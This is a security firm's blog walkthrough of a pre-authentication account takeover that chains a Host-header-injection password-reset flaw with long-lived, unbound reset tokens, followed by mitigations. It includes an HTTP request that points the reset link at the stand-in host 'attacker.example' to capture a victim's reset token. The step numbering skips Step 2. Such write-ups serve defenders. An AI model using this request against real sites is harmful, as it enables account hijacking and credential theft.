Skip to content
All articles
Identity & AccessOct 09, 20247 min read

How We Took Over an Account in Under 10 Minutes

A walkthrough of chaining a password-reset flaw into a full pre-auth account takeover.

By ProteQon Red Team

This is a sanitized walkthrough of a real engagement. Names and values are changed, but the chain is exactly what we used to go from zero access to a full pre-authentication account takeover (ATO) — in under ten minutes. No single bug here is rare. The damage comes from chaining them.

Step 1 — A password reset that trusts the Host header

We requested a password reset for an account we controlled and inspected the email. The reset link pointed back to the application using the Host header from our request. That’s the tell: the server builds the reset URL from attacker-controllable input.

http
POST /api/auth/forgot-password HTTP/1.1
Host: id.target.com
Content-Type: application/json

{"email":"victim@company.com"}

We replayed the same request, but swapped the Host header for a domain we owned. The application generated a reset email to the victim — with a link pointing at our server, carrying the victim’s valid reset token in the path.

http
POST /api/auth/forgot-password HTTP/1.1
Host: attacker.example
Content-Type: application/json

{"email":"victim@company.com"}

Step 3 — Capturing the token

When the victim (in the test, our second account) clicked the link, their browser sent the reset token straight to our server in the request. We logged it. The token was single-use but long-lived — valid for hours — and the application never bound it to the requesting device or IP.

Step 4 — Resetting the password

With the captured token we hit the legitimate reset endpoint and set a new password. There was no rate limiting, no re-authentication, and no notification to the victim’s existing sessions. We were in.

Why it worked

  • The reset URL was built from the untrusted Host header (host header injection).
  • Reset tokens were long-lived and not bound to the requester.
  • No alerting fired on a password change from a new location.

How to prevent it

  • Never build security-sensitive URLs from the Host header — use a fixed, configured base URL.
  • Make reset tokens short-lived, single-use, and invalidated on first view or on a new request.
  • Re-authenticate or step up before a password change, and notify the user out-of-band when it happens.
  • Validate the Host / X-Forwarded-Host against an allow-list at the edge.

Start an engagement

Tell us what you're shipping.
We'll tell you what it's exposing.

Book a 30-minute scoping call with a senior engineer. You'll leave with a clear recommendation on scope, approach, and timeline.